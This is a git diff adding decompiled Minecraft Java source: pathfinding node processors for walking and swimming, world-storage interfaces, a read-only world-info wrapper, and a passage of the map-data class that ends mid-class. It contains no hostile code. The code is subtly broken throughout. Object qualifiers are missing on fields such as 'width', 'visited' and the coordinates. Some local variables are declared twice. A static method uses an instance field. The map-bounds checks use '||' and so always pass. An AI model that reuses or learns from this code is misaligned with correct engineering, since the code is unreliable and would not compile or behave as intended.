@@ -0,0 +1,48 @@
+package net.minecraft.world.pathfinder;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.pathfinding.PathPoint;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+
+public abstract class NodeProcessor
+{
+  protected IBlockAccess field_176169_a;
+  protected IntHashMap field_176167_b = new IntHashMap();
+  protected int field_176168_c;
+  protected int field_176165_d;
+  protected int field_176166_e;
+  private static final String __OBFID = "CL_00001967";
+  
+  public NodeProcessor() {}
+  
+  public void func_176162_a(IBlockAccess p_176162_1_, Entity p_176162_2_) { field_176169_a = p_176162_1_;
+    field_176167_b.clearMap();
+    field_176168_c = MathHelper.floor_float(width + 1.0F);
+    field_176165_d = MathHelper.floor_float(height + 1.0F);
+    field_176166_e = MathHelper.floor_float(width + 1.0F);
+  }
+  
+  public void func_176163_a() {}
+  
+  protected PathPoint func_176159_a(int p_176159_1_, int p_176159_2_, int p_176159_3_)
+  {
+    int var4 = PathPoint.makeHash(p_176159_1_, p_176159_2_, p_176159_3_);
+    PathPoint var5 = (PathPoint)field_176167_b.lookup(var4);
+    
+    if (var5 == null)
+    {
+      var5 = new PathPoint(p_176159_1_, p_176159_2_, p_176159_3_);
+      field_176167_b.addKey(var4, var5);
+    }
+    
+    return var5;
+  }
+  
+  public abstract PathPoint func_176161_a(Entity paramEntity);
+  
+  public abstract PathPoint func_176160_a(Entity paramEntity, double paramDouble1, double paramDouble2, double paramDouble3);
+  
+  public abstract int func_176164_a(PathPoint[] paramArrayOfPathPoint, Entity paramEntity, PathPoint paramPathPoint1, PathPoint paramPathPoint2, float paramFloat);
+}
diff --git a/src/minecraft/net/minecraft/world/pathfinder/SwimNodeProcessor.java b/src/minecraft/net/minecraft/world/pathfinder/SwimNodeProcessor.java
new file mode 100644
index 0000000..3b3fac5
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/pathfinder/SwimNodeProcessor.java
@@ -0,0 +1,83 @@
+package net.minecraft.world.pathfinder;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.pathfinding.PathPoint;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+
+public class SwimNodeProcessor extends NodeProcessor
+{
+  private static final String __OBFID = "CL_00001966";
+  
+  public SwimNodeProcessor() {}
+  
+  public void func_176162_a(IBlockAccess p_176162_1_, Entity p_176162_2_)
+  {
+    super.func_176162_a(p_176162_1_, p_176162_2_);
+  }
+  
+  public void func_176163_a()
+  {
+    super.func_176163_a();
+  }
+  
+  public PathPoint func_176161_a(Entity p_176161_1_)
+  {
+    return func_176159_a(MathHelper.floor_double(getEntityBoundingBoxminX), MathHelper.floor_double(getEntityBoundingBoxminY + 0.5D), MathHelper.floor_double(getEntityBoundingBoxminZ));
+  }
+  
+  public PathPoint func_176160_a(Entity p_176160_1_, double p_176160_2_, double p_176160_4_, double p_176160_6_)
+  {
+    return func_176159_a(MathHelper.floor_double(p_176160_2_ - width / 2.0F), MathHelper.floor_double(p_176160_4_ + 0.5D), MathHelper.floor_double(p_176160_6_ - width / 2.0F));
+  }
+  
+  public int func_176164_a(PathPoint[] p_176164_1_, Entity p_176164_2_, PathPoint p_176164_3_, PathPoint p_176164_4_, float p_176164_5_)
+  {
+    int var6 = 0;
+    EnumFacing[] var7 = EnumFacing.values();
+    int var8 = var7.length;
+    
+    for (int var9 = 0; var9 < var8; var9++)
+    {
+      EnumFacing var10 = var7[var9];
+      PathPoint var11 = func_176185_a(p_176164_2_, xCoord + var10.getFrontOffsetX(), yCoord + var10.getFrontOffsetY(), zCoord + var10.getFrontOffsetZ());
+      
+      if ((var11 != null) && (!visited) && (var11.distanceTo(p_176164_4_) < p_176164_5_))
+      {
+        p_176164_1_[(var6++)] = var11;
+      }
+    }
+    
+    return var6;
+  }
+  
+  private PathPoint func_176185_a(Entity p_176185_1_, int p_176185_2_, int p_176185_3_, int p_176185_4_)
+  {
+    int var5 = func_176186_b(p_176185_1_, p_176185_2_, p_176185_3_, p_176185_4_);
+    return var5 == -1 ? func_176159_a(p_176185_2_, p_176185_3_, p_176185_4_) : null;
+  }
+  
+  private int func_176186_b(Entity p_176186_1_, int p_176186_2_, int p_176186_3_, int p_176186_4_)
+  {
+    for (int var5 = p_176186_2_; var5 < p_176186_2_ + field_176168_c; var5++)
+    {
+      for (int var6 = p_176186_3_; var6 < p_176186_3_ + field_176165_d; var6++)
+      {
+        for (int var7 = p_176186_4_; var7 < p_176186_4_ + field_176166_e; var7++)
+        {
+          net.minecraft.util.BlockPos var8 = new net.minecraft.util.BlockPos(var5, var6, var7);
+          net.minecraft.block.Block var9 = field_176169_a.getBlockState(var8).getBlock();
+          
+          if (var9.getMaterial() != net.minecraft.block.material.Material.water)
+          {
+            return 0;
+          }
+        }
+      }
+    }
+    
+    return -1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/pathfinder/WalkNodeProcessor.java b/src/minecraft/net/minecraft/world/pathfinder/WalkNodeProcessor.java
new file mode 100644
index 0000000..825d1f1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/pathfinder/WalkNodeProcessor.java
@@ -0,0 +1,286 @@
+package net.minecraft.world.pathfinder;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRailBase;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.pathfinding.PathPoint;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+
+public class WalkNodeProcessor extends NodeProcessor
+{
+  private boolean field_176180_f;
+  private boolean field_176181_g;
+  private boolean field_176183_h;
+  private boolean field_176184_i;
+  private boolean field_176182_j;
+  private static final String __OBFID = "CL_00001965";
+  
+  public WalkNodeProcessor() {}
+  
+  public void func_176162_a(IBlockAccess p_176162_1_, Entity p_176162_2_)
+  {
+    super.func_176162_a(p_176162_1_, p_176162_2_);
+    field_176182_j = field_176183_h;
+  }
+  
+  public void func_176163_a()
+  {
+    super.func_176163_a();
+    field_176183_h = field_176182_j;
+  }
+  
+
+  public PathPoint func_176161_a(Entity p_176161_1_)
+  {
+    int var2;
+    if ((field_176184_i) && (p_176161_1_.isInWater()))
+    {
+      int var2 = (int)getEntityBoundingBoxminY;
+      
+      for (Block var3 = field_176169_a.getBlockState(new BlockPos(MathHelper.floor_double(posX), var2, MathHelper.floor_double(posZ))).getBlock(); (var3 == Blocks.flowing_water) || (var3 == Blocks.water); var3 = field_176169_a.getBlockState(new BlockPos(MathHelper.floor_double(posX), var2, MathHelper.floor_double(posZ))).getBlock())
+      {
+        var2++;
+      }
+      
+      field_176183_h = false;
+    }
+    else
+    {
+      var2 = MathHelper.floor_double(getEntityBoundingBoxminY + 0.5D);
+    }
+    
+    return func_176159_a(MathHelper.floor_double(getEntityBoundingBoxminX), var2, MathHelper.floor_double(getEntityBoundingBoxminZ));
+  }
+  
+  public PathPoint func_176160_a(Entity p_176160_1_, double p_176160_2_, double p_176160_4_, double p_176160_6_)
+  {
+    return func_176159_a(MathHelper.floor_double(p_176160_2_ - width / 2.0F), MathHelper.floor_double(p_176160_4_), MathHelper.floor_double(p_176160_6_ - width / 2.0F));
+  }
+  
+  public int func_176164_a(PathPoint[] p_176164_1_, Entity p_176164_2_, PathPoint p_176164_3_, PathPoint p_176164_4_, float p_176164_5_)
+  {
+    int var6 = 0;
+    byte var7 = 0;
+    
+    if (func_176177_a(p_176164_2_, xCoord, yCoord + 1, zCoord) == 1)
+    {
+      var7 = 1;
+    }
+    
+    PathPoint var8 = func_176171_a(p_176164_2_, xCoord, yCoord, zCoord + 1, var7);
+    PathPoint var9 = func_176171_a(p_176164_2_, xCoord - 1, yCoord, zCoord, var7);
+    PathPoint var10 = func_176171_a(p_176164_2_, xCoord + 1, yCoord, zCoord, var7);
+    PathPoint var11 = func_176171_a(p_176164_2_, xCoord, yCoord, zCoord - 1, var7);
+    
+    if ((var8 != null) && (!visited) && (var8.distanceTo(p_176164_4_) < p_176164_5_))
+    {
+      p_176164_1_[(var6++)] = var8;
+    }
+    
+    if ((var9 != null) && (!visited) && (var9.distanceTo(p_176164_4_) < p_176164_5_))
+    {
+      p_176164_1_[(var6++)] = var9;
+    }
+    
+    if ((var10 != null) && (!visited) && (var10.distanceTo(p_176164_4_) < p_176164_5_))
+    {
+      p_176164_1_[(var6++)] = var10;
+    }
+    
+    if ((var11 != null) && (!visited) && (var11.distanceTo(p_176164_4_) < p_176164_5_))
+    {
+      p_176164_1_[(var6++)] = var11;
+    }
+    
+    return var6;
+  }
+  
+  private PathPoint func_176171_a(Entity p_176171_1_, int p_176171_2_, int p_176171_3_, int p_176171_4_, int p_176171_5_)
+  {
+    PathPoint var6 = null;
+    int var7 = func_176177_a(p_176171_1_, p_176171_2_, p_176171_3_, p_176171_4_);
+    
+    if (var7 == 2)
+    {
+      return func_176159_a(p_176171_2_, p_176171_3_, p_176171_4_);
+    }
+    
+
+    if (var7 == 1)
+    {
+      var6 = func_176159_a(p_176171_2_, p_176171_3_, p_176171_4_);
+    }
+    
+    if ((var6 == null) && (p_176171_5_ > 0) && (var7 != -3) && (var7 != -4) && (func_176177_a(p_176171_1_, p_176171_2_, p_176171_3_ + p_176171_5_, p_176171_4_) == 1))
+    {
+      var6 = func_176159_a(p_176171_2_, p_176171_3_ + p_176171_5_, p_176171_4_);
+      p_176171_3_ += p_176171_5_;
+    }
+    
+    if (var6 != null)
+    {
+      int var8 = 0;
+      
+
+      for (int var9 = 0; p_176171_3_ > 0; var6 = func_176159_a(p_176171_2_, p_176171_3_, p_176171_4_))
+      {
+        var9 = func_176177_a(p_176171_1_, p_176171_2_, p_176171_3_ - 1, p_176171_4_);
+        
+        if ((field_176183_h) && (var9 == -1))
+        {
+          return null;
+        }
+        
+        if (var9 != 1) {
+          break;
+        }
+        
+
+        if (var8++ >= p_176171_1_.getMaxFallHeight())
+        {
+          return null;
+        }
+        
+        p_176171_3_--;
+        
+        if (p_176171_3_ <= 0)
+        {
+          return null;
+        }
+      }
+      
+      if (var9 == -2)
+      {
+        return null;
+      }
+    }
+    
+    return var6;
+  }
+  
+
+  private int func_176177_a(Entity p_176177_1_, int p_176177_2_, int p_176177_3_, int p_176177_4_)
+  {
+    return func_176170_a(field_176169_a, p_176177_1_, p_176177_2_, p_176177_3_, p_176177_4_, field_176168_c, field_176165_d, field_176166_e, field_176183_h, field_176181_g, field_176180_f);
+  }
+  
+  public static int func_176170_a(IBlockAccess p_176170_0_, Entity p_176170_1_, int p_176170_2_, int p_176170_3_, int p_176170_4_, int p_176170_5_, int p_176170_6_, int p_176170_7_, boolean p_176170_8_, boolean p_176170_9_, boolean p_176170_10_)
+  {
+    boolean var11 = false;
+    BlockPos var12 = new BlockPos(p_176170_1_);
+    
+    for (int var13 = p_176170_2_; var13 < p_176170_2_ + p_176170_5_; var13++)
+    {
+      for (int var14 = p_176170_3_; var14 < p_176170_3_ + p_176170_6_; var14++)
+      {
+        for (int var15 = p_176170_4_; var15 < p_176170_4_ + p_176170_7_; var15++)
+        {
+          BlockPos var16 = new BlockPos(var13, var14, var15);
+          Block var17 = p_176170_0_.getBlockState(var16).getBlock();
+          
+          if (var17.getMaterial() != Material.air)
+          {
+            if ((var17 != Blocks.trapdoor) && (var17 != Blocks.iron_trapdoor))
+            {
+              if ((var17 != Blocks.flowing_water) && (var17 != Blocks.water))
+              {
+                if ((!p_176170_10_) && ((var17 instanceof net.minecraft.block.BlockDoor)) && (var17.getMaterial() == Material.wood))
+                {
+                  return 0;
+                }
+              }
+              else
+              {
+                if (p_176170_8_)
+                {
+                  return -1;
+                }
+                
+                var11 = true;
+              }
+              
+            }
+            else {
+              var11 = true;
+            }
+            
+            if ((worldObj.getBlockState(var16).getBlock() instanceof BlockRailBase))
+            {
+              if ((!(worldObj.getBlockState(var12).getBlock() instanceof BlockRailBase)) && (!(worldObj.getBlockState(var12.offsetDown()).getBlock() instanceof BlockRailBase)))
+              {
+                return -3;
+              }
+            }
+            else if ((!var17.isPassable(p_176170_0_, var16)) && ((!p_176170_9_) || (!(var17 instanceof net.minecraft.block.BlockDoor)) || (var17.getMaterial() != Material.wood)))
+            {
+              if (((var17 instanceof net.minecraft.block.BlockFence)) || ((var17 instanceof net.minecraft.block.BlockFenceGate)) || ((var17 instanceof net.minecraft.block.BlockWall)))
+              {
+                return -3;
+              }
+              
+              if ((var17 == Blocks.trapdoor) || (var17 == Blocks.iron_trapdoor))
+              {
+                return -4;
+              }
+              
+              Material var18 = var17.getMaterial();
+              
+              if (var18 != Material.lava)
+              {
+                return 0;
+              }
+              
+              if (!p_176170_1_.func_180799_ab())
+              {
+                return -2;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    return var11 ? 2 : 1;
+  }
+  
+  public void func_176175_a(boolean p_176175_1_)
+  {
+    field_176180_f = p_176175_1_;
+  }
+  
+  public void func_176172_b(boolean p_176172_1_)
+  {
+    field_176181_g = p_176172_1_;
+  }
+  
+  public void func_176176_c(boolean p_176176_1_)
+  {
+    field_176183_h = p_176176_1_;
+  }
+  
+  public void func_176178_d(boolean p_176178_1_)
+  {
+    field_176184_i = p_176178_1_;
+  }
+  
+  public boolean func_176179_b()
+  {
+    return field_176180_f;
+  }
+  
+  public boolean func_176174_d()
+  {
+    return field_176184_i;
+  }
+  
+  public boolean func_176173_e()
+  {
+    return field_176183_h;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/DerivedWorldInfo.java b/src/minecraft/net/minecraft/world/storage/DerivedWorldInfo.java
new file mode 100644
index 0000000..c1225ce
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/DerivedWorldInfo.java
@@ -0,0 +1,277 @@
+package net.minecraft.world.storage;
+
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+
+public class DerivedWorldInfo
+  extends WorldInfo
+{
+  private final WorldInfo theWorldInfo;
+  private static final String __OBFID = "CL_00000584";
+  
+  public DerivedWorldInfo(WorldInfo p_i2145_1_)
+  {
+    theWorldInfo = p_i2145_1_;
+  }
+  
+
+
+
+  public NBTTagCompound getNBTTagCompound()
+  {
+    return theWorldInfo.getNBTTagCompound();
+  }
+  
+
+
+
+  public NBTTagCompound cloneNBTCompound(NBTTagCompound nbt)
+  {
+    return theWorldInfo.cloneNBTCompound(nbt);
+  }
+  
+
+
+
+  public long getSeed()
+  {
+    return theWorldInfo.getSeed();
+  }
+  
+
+
+
+  public int getSpawnX()
+  {
+    return theWorldInfo.getSpawnX();
+  }
+  
+
+
+
+  public int getSpawnY()
+  {
+    return theWorldInfo.getSpawnY();
+  }
+  
+
+
+
+  public int getSpawnZ()
+  {
+    return theWorldInfo.getSpawnZ();
+  }
+  
+  public long getWorldTotalTime()
+  {
+    return theWorldInfo.getWorldTotalTime();
+  }
+  
+
+
+
+  public long getWorldTime()
+  {
+    return theWorldInfo.getWorldTime();
+  }
+  
+  public long getSizeOnDisk()
+  {
+    return theWorldInfo.getSizeOnDisk();
+  }
+  
+
+
+
+  public NBTTagCompound getPlayerNBTTagCompound()
+  {
+    return theWorldInfo.getPlayerNBTTagCompound();
+  }
+  
+
+
+
+  public String getWorldName()
+  {
+    return theWorldInfo.getWorldName();
+  }
+  
+
+
+
+  public int getSaveVersion()
+  {
+    return theWorldInfo.getSaveVersion();
+  }
+  
+
+
+
+  public long getLastTimePlayed()
+  {
+    return theWorldInfo.getLastTimePlayed();
+  }
+  
+
+
+
+  public boolean isThundering()
+  {
+    return theWorldInfo.isThundering();
+  }
+  
+
+
+
+  public int getThunderTime()
+  {
+    return theWorldInfo.getThunderTime();
+  }
+  
+
+
+
+  public boolean isRaining()
+  {
+    return theWorldInfo.isRaining();
+  }
+  
+
+
+
+  public int getRainTime()
+  {
+    return theWorldInfo.getRainTime();
+  }
+  
+
+
+
+  public WorldSettings.GameType getGameType()
+  {
+    return theWorldInfo.getGameType();
+  }
+  
+
+
+
+  public void setSpawnX(int p_76058_1_) {}
+  
+
+
+
+  public void setSpawnY(int p_76056_1_) {}
+  
+
+
+
+  public void setSpawnZ(int p_76087_1_) {}
+  
+
+
+
+  public void incrementTotalWorldTime(long p_82572_1_) {}
+  
+
+
+  public void setWorldTime(long p_76068_1_) {}
+  
+
+
+  public void setSpawn(BlockPos spawnPoint) {}
+  
+
+
+  public void setWorldName(String p_76062_1_) {}
+  
+
+
+  public void setSaveVersion(int p_76078_1_) {}
+  
+
+
+  public void setThundering(boolean p_76069_1_) {}
+  
+
+
+  public void setThunderTime(int p_76090_1_) {}
+  
+
+
+  public void setRaining(boolean p_76084_1_) {}
+  
+
+
+  public void setRainTime(int p_76080_1_) {}
+  
+
+
+  public boolean isMapFeaturesEnabled()
+  {
+    return theWorldInfo.isMapFeaturesEnabled();
+  }
+  
+
+
+
+  public boolean isHardcoreModeEnabled()
+  {
+    return theWorldInfo.isHardcoreModeEnabled();
+  }
+  
+  public WorldType getTerrainType()
+  {
+    return theWorldInfo.getTerrainType();
+  }
+  
+
+
+  public void setTerrainType(WorldType p_76085_1_) {}
+  
+
+  public boolean areCommandsAllowed()
+  {
+    return theWorldInfo.areCommandsAllowed();
+  }
+  
+
+
+  public void setAllowCommands(boolean allow) {}
+  
+
+  public boolean isInitialized()
+  {
+    return theWorldInfo.isInitialized();
+  }
+  
+
+
+
+  public void setServerInitialized(boolean initializedIn) {}
+  
+
+
+
+  public GameRules getGameRulesInstance()
+  {
+    return theWorldInfo.getGameRulesInstance();
+  }
+  
+  public EnumDifficulty getDifficulty()
+  {
+    return theWorldInfo.getDifficulty();
+  }
+  
+  public void setDifficulty(EnumDifficulty newDifficulty) {}
+  
+  public boolean isDifficultyLocked()
+  {
+    return theWorldInfo.isDifficultyLocked();
+  }
+  
+  public void setDifficultyLocked(boolean locked) {}
+}
diff --git a/src/minecraft/net/minecraft/world/storage/IPlayerFileData.java b/src/minecraft/net/minecraft/world/storage/IPlayerFileData.java
new file mode 100644
index 0000000..cb7d879
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/IPlayerFileData.java
@@ -0,0 +1,13 @@
+package net.minecraft.world.storage;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+
+public abstract interface IPlayerFileData
+{
+  public abstract void writePlayerData(EntityPlayer paramEntityPlayer);
+  
+  public abstract NBTTagCompound readPlayerData(EntityPlayer paramEntityPlayer);
+  
+  public abstract String[] getAvailablePlayerDat();
+}
diff --git a/src/minecraft/net/minecraft/world/storage/ISaveFormat.java b/src/minecraft/net/minecraft/world/storage/ISaveFormat.java
new file mode 100644
index 0000000..dbbe722
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/ISaveFormat.java
@@ -0,0 +1,33 @@
+package net.minecraft.world.storage;
+
+import java.util.List;
+import net.minecraft.client.AnvilConverterException;
+import net.minecraft.util.IProgressUpdate;
+
+public abstract interface ISaveFormat
+{
+  public abstract String func_154333_a();
+  
+  public abstract ISaveHandler getSaveLoader(String paramString, boolean paramBoolean);
+  
+  public abstract List getSaveList()
+    throws AnvilConverterException;
+  
+  public abstract void flushCache();
+  
+  public abstract WorldInfo getWorldInfo(String paramString);
+  
+  public abstract boolean func_154335_d(String paramString);
+  
+  public abstract boolean deleteWorldDirectory(String paramString);
+  
+  public abstract void renameWorld(String paramString1, String paramString2);
+  
+  public abstract boolean func_154334_a(String paramString);
+  
+  public abstract boolean isOldMapFormat(String paramString);
+  
+  public abstract boolean convertMapFormat(String paramString, IProgressUpdate paramIProgressUpdate);
+  
+  public abstract boolean canLoadWorld(String paramString);
+}
diff --git a/src/minecraft/net/minecraft/world/storage/ISaveHandler.java b/src/minecraft/net/minecraft/world/storage/ISaveHandler.java
new file mode 100644
index 0000000..9f07595
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/ISaveHandler.java
@@ -0,0 +1,31 @@
+package net.minecraft.world.storage;
+
+import java.io.File;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.chunk.storage.IChunkLoader;
+
+public abstract interface ISaveHandler
+{
+  public abstract WorldInfo loadWorldInfo();
+  
+  public abstract void checkSessionLock()
+    throws MinecraftException;
+  
+  public abstract IChunkLoader getChunkLoader(WorldProvider paramWorldProvider);
+  
+  public abstract void saveWorldInfoWithPlayer(WorldInfo paramWorldInfo, NBTTagCompound paramNBTTagCompound);
+  
+  public abstract void saveWorldInfo(WorldInfo paramWorldInfo);
+  
+  public abstract IPlayerFileData getPlayerNBTManager();
+  
+  public abstract void flush();
+  
+  public abstract File getWorldDirectory();
+  
+  public abstract File getMapFileFromName(String paramString);
+  
+  public abstract String getWorldDirectoryName();
+}
diff --git a/src/minecraft/net/minecraft/world/storage/IThreadedFileIO.java b/src/minecraft/net/minecraft/world/storage/IThreadedFileIO.java
new file mode 100644
index 0000000..68b2814
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/IThreadedFileIO.java
@@ -0,0 +1,6 @@
+package net.minecraft.world.storage;
+
+public abstract interface IThreadedFileIO
+{
+  public abstract boolean writeNextIO();
+}
diff --git a/src/minecraft/net/minecraft/world/storage/MapData.java b/src/minecraft/net/minecraft/world/storage/MapData.java
new file mode 100644
index 0000000..d52e53d
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/MapData.java
@@ -0,0 +1,310 @@
+package net.minecraft.world.storage;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S34PacketMaps;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec4b;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldSavedData;
+
+public class MapData extends WorldSavedData
+{
+  public int xCenter;
+  public int zCenter;
+  public byte dimension;
+  public byte scale;
+  public byte[] colors = new byte['䀀'];
+  
+
+
+
+  public List playersArrayList = Lists.newArrayList();
+  
+
+
+
+  private Map playersHashMap = Maps.newHashMap();
+  public Map playersVisibleOnMap = Maps.newLinkedHashMap();
+  private static final String __OBFID = "CL_00000577";
+  
+  public MapData(String p_i2140_1_)
+  {
+    super(p_i2140_1_);
+  }
+  
+  public void func_176054_a(double p_176054_1_, double p_176054_3_, int p_176054_5_)
+  {
+    int var6 = 128 * (1 << p_176054_5_);
+    int var7 = MathHelper.floor_double((p_176054_1_ + 64.0D) / var6);
+    int var8 = MathHelper.floor_double((p_176054_3_ + 64.0D) / var6);
+    xCenter = (var7 * var6 + var6 / 2 - 64);
+    zCenter = (var8 * var6 + var6 / 2 - 64);
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound nbt)
+  {
+    dimension = nbt.getByte("dimension");
+    xCenter = nbt.getInteger("xCenter");
+    zCenter = nbt.getInteger("zCenter");
+    scale = nbt.getByte("scale");
+    scale = ((byte)MathHelper.clamp_int(scale, 0, 4));
+    short var2 = nbt.getShort("width");
+    short var3 = nbt.getShort("height");
+    
+    if ((var2 == 128) && (var3 == 128))
+    {
+      colors = nbt.getByteArray("colors");
+    }
+    else
+    {
+      byte[] var4 = nbt.getByteArray("colors");
+      colors = new byte['䀀'];
+      int var5 = (128 - var2) / 2;
+      int var6 = (128 - var3) / 2;
+      
+      for (int var7 = 0; var7 < var3; var7++)
+      {
+        int var8 = var7 + var6;
+        
+        if ((var8 >= 0) || (var8 < 128))
+        {
+          for (int var9 = 0; var9 < var2; var9++)
+          {
+            int var10 = var9 + var5;
+            
+            if ((var10 >= 0) || (var10 < 128))
+            {
+              colors[(var10 + var8 * 128)] = var4[(var9 + var7 * var2)];
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void writeToNBT(NBTTagCompound nbt)
+  {
+    nbt.setByte("dimension", dimension);
+    nbt.setInteger("xCenter", xCenter);
+    nbt.setInteger("zCenter", zCenter);
+    nbt.setByte("scale", scale);
+    nbt.setShort("width", (short)128);
+    nbt.setShort("height", (short)128);
+    nbt.setByteArray("colors", colors);
+  }
+  
+
+
+
+  public void updateVisiblePlayers(EntityPlayer p_76191_1_, ItemStack p_76191_2_)
+  {
+    if (!playersHashMap.containsKey(p_76191_1_))
+    {
+      MapInfo var3 = new MapInfo(p_76191_1_);
+      playersHashMap.put(p_76191_1_, var3);
+      playersArrayList.add(var3);
+    }
+    
+    if (!inventory.hasItemStack(p_76191_2_))
+    {
+      playersVisibleOnMap.remove(p_76191_1_.getName());
+    }
+    
+    for (int var6 = 0; var6 < playersArrayList.size(); var6++)
+    {
+      MapInfo var4 = (MapInfo)playersArrayList.get(var6);
+      
+      if ((!entityplayerObj.isDead) && ((entityplayerObj.inventory.hasItemStack(p_76191_2_)) || (p_76191_2_.isOnItemFrame())))
+      {
+        if ((!p_76191_2_.isOnItemFrame()) && (entityplayerObj.dimension == dimension))
+        {
+          func_82567_a(0, entityplayerObj.worldObj, entityplayerObj.getName(), entityplayerObj.posX, entityplayerObj.posZ, entityplayerObj.rotationYaw);
+        }
+      }
+      else
+      {
+        playersHashMap.remove(entityplayerObj);
+        playersArrayList.remove(var4);
+      }
+    }
+    
+    if (p_76191_2_.isOnItemFrame())
+    {
+      EntityItemFrame var7 = p_76191_2_.getItemFrame();
+      BlockPos var9 = var7.func_174857_n();
+      func_82567_a(1, worldObj, "frame-" + var7.getEntityId(), var9.getX(), var9.getZ(), field_174860_b.getHorizontalIndex() * 90);
+    }
+    
+    if ((p_76191_2_.hasTagCompound()) && (p_76191_2_.getTagCompound().hasKey("Decorations", 9)))
+    {
+      NBTTagList var8 = p_76191_2_.getTagCompound().getTagList("Decorations", 10);
+      
+      for (int var10 = 0; var10 < var8.tagCount(); var10++)
+      {
+        NBTTagCompound var5 = var8.getCompoundTagAt(var10);
+        
+        if (!playersVisibleOnMap.containsKey(var5.getString("id")))
+        {
+          func_82567_a(var5.getByte("type"), worldObj, var5.getString("id"), var5.getDouble("x"), var5.getDouble("z"), var5.getDouble("rot"));
+        }
+      }
+    }
+  }
+  
+  private void func_82567_a(int p_82567_1_, World worldIn, String p_82567_3_, double p_82567_4_, double p_82567_6_, double p_82567_8_)
+  {
+    int var10 = 1 << scale;
+    float var11 = (float)(p_82567_4_ - xCenter) / var10;
+    float var12 = (float)(p_82567_6_ - zCenter) / var10;
+    byte var13 = (byte)(int)(var11 * 2.0F + 0.5D);
+    byte var14 = (byte)(int)(var12 * 2.0F + 0.5D);
+    byte var16 = 63;
+    
+    byte var15;
+    if ((var11 >= -var16) && (var12 >= -var16) && (var11 <= var16) && (var12 <= var16))
+    {
+      p_82567_8_ += (p_82567_8_ < 0.0D ? -8.0D : 8.0D);
+      byte var15 = (byte)(int)(p_82567_8_ * 16.0D / 360.0D);
+      
+      if (dimension < 0)
+      {
+        int var17 = (int)(worldIn.getWorldInfo().getWorldTime() / 10L);
+        var15 = (byte)(var17 * var17 * 34187121 + var17 * 121 >> 15 & 0xF);
+      }
+    }
+    else
+    {
+      if ((Math.abs(var11) >= 320.0F) || (Math.abs(var12) >= 320.0F))
+      {
+        playersVisibleOnMap.remove(p_82567_3_);
+        return;
+      }
+      
+      p_82567_1_ = 6;
+      var15 = 0;
+      
+      if (var11 <= -var16)
+      {
+        var13 = (byte)(int)(var16 * 2 + 2.5D);
+      }
+      
+      if (var12 <= -var16)
+      {
+        var14 = (byte)(int)(var16 * 2 + 2.5D);
+      }
+      
+      if (var11 >= var16)
+      {
+        var13 = (byte)(var16 * 2 + 1);
+      }
+      
+      if (var12 >= var16)
+      {
+        var14 = (byte)(var16 * 2 + 1);
+      }
+    }
+    
+    playersVisibleOnMap.put(p_82567_3_, new Vec4b((byte)p_82567_1_, var13, var14, var15));
+  }
+  
+  public Packet func_176052_a(ItemStack p_176052_1_, World worldIn, EntityPlayer p_176052_3_)
+  {
+    MapInfo var4 = (MapInfo)playersHashMap.get(p_176052_3_);
+    return var4 == null ? null : var4.func_176101_a(p_176052_1_);
+  }
+  
+  public void func_176053_a(int p_176053_1_, int p_176053_2_)
+  {
+    super.markDirty();
+    Iterator var3 = playersArrayList.iterator();
+    
+    while (var3.hasNext())
+    {
+      MapInfo var4 = (MapInfo)var3.next();
+      var4.func_176102_a(p_176053_1_, p_176053_2_);
+    }
+  }
+  
+  public MapInfo func_82568_a(EntityPlayer p_82568_1_)
+  {
+    MapInfo var2 = (MapInfo)playersHashMap.get(p_82568_1_);
+    
+    if (var2 == null)
+    {
+      var2 = new MapInfo(p_82568_1_);
+      playersHashMap.put(p_82568_1_, var2);
+      playersArrayList.add(var2);
+    }
+    
+    return var2;
+  }
+  
+  public class MapInfo
+  {
+    public final EntityPlayer entityplayerObj;
+    private boolean field_176105_d = true;
+    private int field_176106_e = 0;
+    private int field_176103_f = 0;
+    private int field_176104_g = 127;
+    private int field_176108_h = 127;
+    private int field_176109_i;
+    public int field_82569_d;
+    private static final String __OBFID = "CL_00000578";
+    
+    public MapInfo(EntityPlayer p_i2138_2_)
+    {
+      entityplayerObj = p_i2138_2_;
+    }
+    
